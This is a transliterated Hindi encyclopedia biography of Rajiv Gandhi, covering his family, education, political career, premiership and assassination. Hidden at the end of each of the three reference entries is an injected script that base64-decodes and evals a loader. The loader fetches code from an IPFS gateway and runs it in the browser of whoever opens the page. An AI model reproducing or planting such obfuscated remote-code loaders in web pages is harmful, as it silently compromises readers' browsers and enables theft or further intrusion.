राजीव गाँधी
rajiv gaandhi
| |
| poora nam | rajiv ratn gaandhi |
| janm | 20 agast, 1944 |
| janm bhoomi | muanbee, maharashtr |
| mrityu | 21 mee 1991 |
| mrityu sthan | shripareanbudoor, tamilanadu |
| mrityu karan | hatya |
| abhibhavak | firoj gaandhi, indira gaandhi |
| pati/patni | soniya gaandhi |
| santan | rahul gaandhi, priyanka gaandhi |
| nagarikata | bharatiy |
| parti | kaangres |
| pad | bharat ke nauvean pradhanamantri |
| kary kal | 31 aktoobar 1984 – 2 disambar 1989 |
| shiksha | ianjiniyariang |
| vidyalay | doon skool deharadoon, ianpiriyal k aaulej landan |
| bhasha | hindi, aangrezi |
| puraskar-upadhi | bharat ratn |
| vishesh yogadan | unhoanne desh mean kee kshetroan mean nee pahal aur shuruat ki jinamean sanchar kraanti aur kanpyootar kraanti, shiksha ka prasar, 18 sal ke yuvaoan ko matadhikar, panchayati raj adi shamil hai. |
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rajiv gaandhi (aangrezi: Rajiv Gandhi, janm: 20 agast, 1944, muanbee; mrityu: 21 mee, 1991) bharat ki pahali mahila pradhanamantri indira gaandhi ke putr aur bharat ke pahale pradhanamantri javaharalal neharoo ke pautr aur bharat ke nauvean pradhanamantri the. unaka poora nam rajiv ratn gaandhi tha. rajiv gaandhi bharat ki kaangres (i) parti ke agrani mahasachiv (1981 se) the aur apani maan ki hatya ke bad bharat ke pradhanamantri (1984-1989) bane. 40 sal ki umr mean desh ke sabase yuva aur nauvean pradhanamantri hone ka gaurav hasil karane vale rajiv gaandhi "adhunik bharat ke shilpakar" kahe ja sakate haian. vah pahale aise vyakti the, jinhoanne desh mean takanik ke prayog ko prathamikata dekar kanpyootar ke vyapak prayog par jor dala. bharat mean kanpyootar ko sthapit karane ke lie unhean kee virodhoan aur aropoan ko bhi jhelana p da, lekin ab vah desh ki takat ban chuke kanpyootar kraanti ke janak ke roop mean bhi jane jate haian. rajiv gaandhi desh ke yuvaoan mean kafi lokapriy neta the. unaka bhashan sunane ke lie log kafi iantazar bhi karate the. rajiv desh ke sabase yuva pradhanamantri the. unhhoanne apane pradhanamantrithv kal mean kee aise phaisale lie jisaka asar desh ke vikas par dekhane ko mila.
jivan parichay
[[chitr:Rajiv-Gandhi-And-Sonia-Gandhi.jpg|thumb|250px|left|soniya gaandhi evan rajiv gaandhi]] rajiv gaandhi ka janm 20 agast, 1944 ko banbee (vartaman muanbee), bharat mean hua tha. kaimbrij mean padhaee ke dauran rajiv gaandhi ki mulakat eantoniya maino se huee, vivahoparaant jinaka nam badalakar soniya gaandhi rakha gaya. rajiv gaandhi ke do santanean hai, putr rahul gaandhi aur putri priyanka gaandhi. rajiv tatha unake chhote bhaee sanjay gaandhi (1946-1980) ki shiksha-diksha deharadoon ke pratishthit doon skool mean huee thi. isake bad rajiv gaandhi ne landan ke ianpiriyal k aaulej mean dakhila liya tatha keanbrij vishvavidyalay (1965) se ianjiniyariang pathyakram poora kiya, bharat lautane par unhoanne vyavasayik payalat ka laiseans prapt kiya aur 1968 se iandiyan eyaralains mean kam karane lage.
rajanitik safar
rajiv gaandhi ne apani rajanitik aruchi ke bad bhi maan iandira gaandhi ke adesh par rajaniti jivan shuroo kiya. chhote bhaee sanjay ke sthan par 1981 mean amethi se pahala chunav jita aur lokasabha mean pahuanche. jab tak unake bhaee jivit the, rajiv rajaniti se bahar hi rahe, lekin ek shaktishali rajaniti vyaktitv ke dhani sanjay ki 23 joon, 1980 ko ek vayuyan durghatana mean mrityu ho jane ke bad tatkalin pradhanamantri iandira gaandhi rajiv ko rajanitik jivan mean le aeean. joon 1981 mean vah lokasabha upachunav mean nirvachit hue aur isi mahine yuva kaangres ki rashtriy karyakarini ke sadasy ban ge.
rajanitik prishthabhoomi hone ke bavajood rajiv gaandhi ne kabhi bhi rajaniti mean ruchi nahian li. bharatiy rajaniti aur shasan vyavastha mean rajiv gaandhi ka pravesh keval halatoan ki hi den tha. disanbar 1984 ke chunavoan mean kaangres ko jabaradast bahumat hasil hua. is jit ka netritv bhi rajiv gaandhi ne hi kiya tha. apane shasanakal mean unhoanne prashasanik sevaoan aur naukarashahi mean sudhar lane ke lie kee kadam uthae. kashmir aur panjab mean chal rahe alagavavadi aandolanakariyoan ko hatotsahit karane ke lie rajiv gaandhi ne k de prayathn kie. bharat mean garibi ke star mean kami lane aur gariboan ki arthik dasha sudharane ke lie 1 aprail 1989 ko rajiv gaandhi ne javahar rojagar garanti yojana ko lagoo kiya jisake aantargat iandira avas yojana aur das lakh kuaan yojana jaise kee karyakramoan ki shuruat ki.[1]
asadharan vyaktitv
[[chitr:Rajiv-indira-sonia.jpg|thumb|rajiv gaandhi, soniya gaandhi aur iandira gaandhi]] koee vyakti manasik roop se kitana sudridh ho sakata hai, isaki misal rajiv gaandhi the. pahale chhote bhaee ki mrityu aur char varshoan bad m aauan ki nrishans hatya, is sab ke bad bhi unake kadam dagamagae nahian aur ve aur shakti ke sath bharat nirman ki manjil ki or badhate ge. iandira gaandhi ki mrityu ke bad lokasabha mean kaangres ka poorn bahumat tha, rajiv gaandhi lokasabha ke nirvachit sadasy the, phir bhi rajanitik shuchita ka parichay dete hue, unhoanne punah lokasabha mean chunav samay poorv karavae taki koee yah aanguli n utha sake ki janata ne iandira ji ko dekhakar kaangres ko bahumat diya tha, rajiv ko nahian. aur rajiv gaandhi ke netritv mean bharat ke lokatantr mean itihas mean kaangres ne 542 mean se 411 sitean jitakar ek naya rikard banaya.
rajiv gaandhi ke gaddi sanbhalane ke samay unhean atankavad se jalata jhulasata bharat mila tha. uttari bhag mean panjab to uttarapoorv mean asam jaise rajy ke am nagarik atankavadi aur atanki ghatanaoan se sangharsh kar rahe the aur yah rajiv gaandhi ke lie ek b di pi da ka karan tha. unhoanne panjab mean atankavad ke hal karane ki disha mean agrasar hote hue sant haracharan sianh loangoval se agrah kiya ki aisa kuchh sarthak kiya jae ki jisake parinamasvaroop panjab ki janata ko atank ki ag se bachaya ja sake aur isaki pariniti ke roop mean rajiv-loangoval samajhauta samane aya, jisaka tvarit prabhav yah raha ki panjab ke logoan ne pahali bar manasik roop se yah svikar kar liya ki panjab se atankavad khatm ho sakata hai, aur panjab ke yuva punah desh ke mukhy dhara mean sammilit ho sakate haian. yadyapi sant loangoval ke nidhan se samajhaute ke parinam prapt hone mean samay zaroor laga par is manasik dridhata ke bal par hi panjab ke logoan ne dhire-dhire atankavad par vijay prapt kari aur aj panjab mean sab kuchh samany hai.[2]
pradhanamantri ke roop mean
31 aktoobar 1984 ko pradhanamantri iandira gaandhi ki hatya ke bad desh ki daanvadol hoti rajanitik paristhitiyoan ko sanbhalane ke lie unhean pradhanamantri banaya gaya. us samay kee logoan ne unhean nausikhiya bhi kaha lekin jis tarah se unhoanne yah jimmedari nibhaee usase sabhi achanbhit rah ge. rajiv ko saumy vyakti mana jata tha. jo parti ke any netaoan se vichar-vimarsh karate the aur jaldabazi mean nirnay nahian lete the. jab unaki maan ki hatya huee, to rajiv ko usi din pradhanamantri pad ki shapath dilaee gee aur unhean kuchh din bad kaangres (ian) parti ka neta chun liya gaya. unaka shasanakal kee aropoan se bhi ghira raha jisamean bophors ghotala sabase ganbhir tha. isake alava un par koee aisa dag nahian tha jisaki vajah se unaki nianda ho. pak daman hone ki vajah se hi logoan ke bich rajiv gaandhi ki achchhi pak d thi. shrilanka mean chal rahe litte aur sianghaliyoan ke bich yuddh ko shaant karane ke lie rajiv gaandhi ne bharatiy sena ko shrilanka mean tainat kar diya. jisaka pratikar litte ne tamilanadu mean chunavi prachar ke dauran rajiv gaandhi par atmaghati hamala karava kar liya. 21 mee, 1991 ko subah 10 baje ke qarib ek mahila rajiv gaandhi se milane ke lie stej tak gee aur unake paanv chhoone ke lie jaise hi jhuki usake sharir mean laga aradieks phat gaya. is hamale mean rajiv gaandhi ki maut ho gee. desh mean rajiv gaandhi ki maut ke bad bahut b da rosh dekhane ko mila.
rajanitik safar aur pad
| dinaank / varsh | pad |
|---|---|
| 1981 | lokasabha (satavian) ke lie nirvachit |
| 1984 | lokasabha (athavian) ke lie pun: nirvachit |
| 19 aktoobar, 1984 se 2 disambar, 1984 tak | pradhanamantri evan any sabhi mantralay vibhag jo ki any kisi mantri ko aanvatit kie ge. |
| 31 disambar, 1984 se 14 janavari, 1985 | vanijy aur apoorti, videsh, udyog v kampani mamale, vijnan v praudyogiki, paramanu oorja, aantariksh, ilaiktraniks, mahasagar, vikas, karmik evan prashasanik sudhar, yuva mamale evan khel, sanskriti, paryatan evan nagar vimanan mantralay ka bhi padabhar sambhala. |
| 31 disambar, 1984 se 20 aktoobar, 1986 | paryavaran evan van mantralay ke bhi prabhari. |
| 25 disambar, 1985 se 24 janavari, 1987 | raksha mantralay ke bhi prabhari. |
| 4 joon, 1986 se 24 joon, 1986 | parivahan mantralay ke bhi prabhari. |
| 24 janavari, 1987 se 25 julaee, 1987 | vitt mantralay ke bhi prabhari. |
| 4 mee, 1987 se 25 julaee, 1987 | karyakram karyanvayan mantralay ke bhi prabhari. |
| 15 julaee, 1987 se 28 julaee, 1987 | paryatan mantralay ke bhi prabhari. |
| 25 julaee, 1987 se 26 joon, 1988 | videsh mantralay ka bhi karyabhar sambhala. |
| 22 agast, 1987 se 10 navambar, 1987 | jal sansadhan mantralay ka karyabhar bhi sambhala. |
| mee, 1989 se julaee, 1989 | sanchar mantralay ka bhi karyabhar sambhala. |
| 1989 | lok sabha (nauvian) ke lie tisari bar nirvachit. |
| 18 disambar, 1989 se 24 disambar, 1990 | lok sabha (nauvian) mean vipaksh ke neta. |
| 24 janavari, 1990 | sadasy, samany prayojan samiti. |
| 1991 | lok sabha (dasavian) ke lie chauthi bar nirvachit. |
yogadan
rajiv gaandhi apani ichchha ke viparit rajaniti mean ae the. vah khud rajaniti ko bhrashtachar se mukt karana chahate the lekin yah vidanbana hi hai ki unhean bhrashtachar ki vajah se hi sabase jyada alochana jhelani p di. unhoanne desh mean kee kshetroan mean nee pahal aur shuruat ki jinamean sanchar kraanti aur kanpyootar kraanti, shiksha ka prasar, 18 sal ke yuvaoan ko matadhikar, panchayati raj adi shamil hai. rajiv ne kee sahasik kadam uthae jinamean shrilanka mean shaanti sena ka bheja jana, asam samajhauta, panjab samajhauta, mijoram samajhauta adi shamil hai.[3]
alagavavadi andolan
disambar 1984 ke am chunav mean unhoanne parti ki zabaradast jit ka netritv kiya aur unake prashasan ne sarakari naukarashahi mean sudhar lane tatha desh ki arthavyavastha ke udarikaran ke lie zoradar qadam uthae. lekin panjab aur kashmir mean alagavavadi andolan ko hatotsahit karane ki rajiv ki koshish ka ulta asar hua tatha kee vittiy sazishoan mean unaki sarakar ke ulajhane ke bad unaka netritv lagatar aprabhavi hota gaya. 1989 mean unhoanne pradhanamantri pad se istifa de diya, lekin vah kaangres (ian) parti ke neta pad par bane rahe. agami sansadiy chunav ke lie tamilanadu mean chunav prachar ke dauran ek atmaghati mahila ke bam visphot mean unaki mrityu ho gee. kaha jata hai ki yah mahila tamil alagavavadiyoan se sanbaddh thi.
nidhan
apane rajanitik phaisaloan se kattarapanthiyoan ko naraj kar chuke rajiv par shrilanka mean salami garad ke nirikshan ke vakt hamala kiya gaya, lekin vah bal-bal bach ge the, par 1991 mean aisa nahian ho saka. 21 mee, 1991 ko tamilanadu ke shriperambadoor mean ek atmaghati hamale mean vah mare ge. unake sath 17 aur logoan ki jan gee. rajiv gaandhi ki desh seva ko rashtr ne unake duniya se vida hone ke bad svikar karate hue unhean bharat ratn se sammanit kiya, jise soniya gaandhi ne 6 julaee, 1991 ko apane pati ki or se grahan kiya. 'virabhoomi' rajiv gaandhi ka samadhi sthal hai. yah dilli ke riang marg par ane vala ek bas st aaup bhi hai.
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tika tippani aur sandarbh
- ↑ kanpyootar kraanti ke aguva v kaddavar neta rajiv gaandhi (hiandi) jagaran yahoo iandiya. abhigaman tithi: 20 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vishvanayak rajiv gaandhi (hiandi) JNI sultanapur. abhigaman tithi: 20 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Rajiv Gandhi: na chahate hue bhi ae rajaniti mean (hiandi) jagaran jankshan. abhigaman tithi: 20 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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